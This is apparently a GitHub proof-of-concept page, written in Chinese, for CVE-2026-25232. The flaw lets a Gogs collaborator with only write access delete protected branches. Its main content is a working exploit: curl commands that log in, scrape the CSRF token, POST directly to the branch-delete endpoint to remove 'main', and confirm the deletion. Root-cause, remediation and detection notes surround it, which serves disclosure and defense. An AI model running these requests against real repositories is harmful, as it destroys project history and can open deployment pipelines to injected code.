H1sok444/CVE-2026-25232-PoC

GitHub: H1sok444/CVE-2026-25232-PoC

该工具是 CVE-2026-25232 的概念验证,利用 Gogs 网页接口授权缺失实现权限提升。

Stars: 0 | Forks: 0

# CVE-2026-25232 — Gogs 受保护分支删除绕过(写权限 → 管理员权限提升) ## 概述 | 字段 | 说明 | |---|---| | **CVE** | CVE-2026-25232 | | **产品** | Gogs (Go Git Service) | | **受影响版本** | <= 0.13.4 | | **修复版本** | 0.14.1 | | **CVSS 评分** | 中危 | | **CWE** | CWE-863:错误的授权 | | **需要身份验证** | 是(在仓库上拥有写权限) | | **影响** | 从写权限到管理员级别操作的身份权限提升 | ## 描述 CVE-2026-25232 是 Gogs 网页界面中的一个访问控制绕过漏洞。它允许任何拥有 **写** 权限的仓库协作者,通过直接向 `DeleteBranchPost` 端点发送 POST 请求来删除受保护的分支(包括默认分支),完全绕过了分支保护机制。 根本原因在于 Git 钩子层与网页界面在执行分支保护时的逻辑不一致: - **Git 钩子(SSH):** 正确阻止通过 SSH 推送操作删除受保护分支 - **网页界面:** `DeleteBranchPost` 函数 **不会** 触发 Git 钩子,因此保护检查从未执行 这使得低权限协作者能够执行本应仅限于仓库管理员的操作。 ## 先决条件 - 已注册的 Gogs 账户 - 在目标仓库上拥有写权限 - 目标仓库已配置受保护分支 - 可访问 Gogs 网页界面 ## 概念验证 ### 环境 - **目标:** `http://:3001` - **攻击者账户:** `attacker:Password123!`(在仓库上拥有写权限) - **目标仓库:** `admin/important-repo` - **受保护分支:** `main`(默认分支) ### 步骤 1 — 验证分支保护已启用 确认分支受到保护且无法通过常规方式删除: ``` # 尝试通过 API 正常删除分支 - 这应该会失败 curl -s -X DELETE 'http://:3001/api/v1/repos/admin/important-repo/branches/main' \ -u 'attacker:Password123!' ``` 预期响应:`403 Forbidden` 或保护错误。 ### 步骤 2 — 获取有效的 CSRF 令牌 从任意已认证页面获取 CSRF 令牌: ``` curl -s -c cookies.txt -b cookies.txt \ 'http://:3001/user/login' \ -X POST \ -d 'user_name=attacker&password=Password123!' # 从仓库页面提取 CSRF 令牌 curl -s -c cookies.txt -b cookies.txt \ 'http://:3001/admin/important-repo' \ | grep -o '_csrf" content="[^"]*"' | cut -d'"' -f3 ``` ### 步骤 3 — 通过直接 POST 到 DeleteBranchPost 绕过保护 向分支删除端点发送直接 POST 请求,绕过保护检查: ``` curl -s -X POST 'http://:3001/admin/important-repo/branches/delete' \ -b cookies.txt \ -H 'Content-Type: application/x-www-form-urlencoded' \ -d '_csrf=&name=main' ``` 尽管攻击者仅拥有写权限,受保护的分支仍被删除。 ### 步骤 4 — 验证删除 ``` curl -s 'http://:3001/api/v1/repos/admin/important-repo/branches' \ -u 'attacker:Password123!' ``` `main` 分支将不再出现在响应中。 ## 为什么有效 Gogs 网页处理程序中的 `DeleteBranchPost` 函数仅验证用户已认证且对仓库拥有写权限,但 **未检查** 目标分支是否受保护: ``` HTTP POST /owner/repo/branches/delete ↓ DeleteBranchPost() ↓ Check: Is user authenticated? ✓ Check: Does user have Write access? ✓ Check: Is branch protected? ✗ (MISSING) ↓ Branch deleted successfully ``` Git 钩子层仅在通过 SSH 或 HTTP Git 协议执行推送/删除操作时才会触发分支保护——而网页界面操作不会触发此机制。这一架构缺口意味着任何写级别的协作者都可以执行此操作。 ## 影响 拥有写权限的恶意协作者可以: - 删除任何受保护的分支,包括默认分支 - 破坏仓库的主要开发线 - 中断依赖受保护分支的 CI/CD 流水线 - 强制推送或重新创建分支以绕过保护,将代码注入生产流水线 - 从写权限提升至管理员级别的分支管理权限 在 Gogs 仓库接入自动化部署流水线的环境中,这可能导致供应链 compromise。 ## 修复 升级到 Gogs **v0.14.1** 或更高版本。该修复在 `DeleteBranchPost` 函数中增加了适当的授权检查,在允许删除前验证分支保护状态,无论请求如何发起。 作为临时缓解措施: - 限制仓库写权限仅授予高度可信用户 - 实施网络层访问控制,限制谁能访问 Gogs 网页界面 - 监控网页服务器日志中针对 `/repos/{owner}/{repo}/branches/delete` 的意外 POST 请求 - 使用外部备份方案保留受保护分支的副本 ## 检测 查找以下入侵指标: - 向 `///branches/delete` 发送的意外 POST 请求(出现在网页服务器日志中) - 受保护分支在无对应 Git 钩子活动的情况下被删除 - 不具备管理员权限的用户执行分支删除事件 - 默认分支意外缺失或变更 ## 参考 - [GitHub 安全公告 GHSA-2c6v-8r3v-gh6p](https://github.com/gogs/gogs/security/advisories) - [Gogs v0.14.1 版本发布](https://github.com/gogs/gogs/releases/tag/v0.14.1) - [CWE-863:错误的授权](https://cwe.mitre.org/data/definitions/863.html) ## 免责声明 本概念验证仅用于教育目的和授权安全测试。请勿在未获得明确许可的系统上使用。
标签:Admin权限, API漏洞, CVE-2026-25232, CWE-863, Git, Gogs, PoC, Web接口, Write权限, 分支保护, 删除保护分支, 授权缺陷, 日志审计, 暴力破解, 权限绕过, 漏洞, 特权提升, 网络安全研究, 自动化部署, 访问控制绕过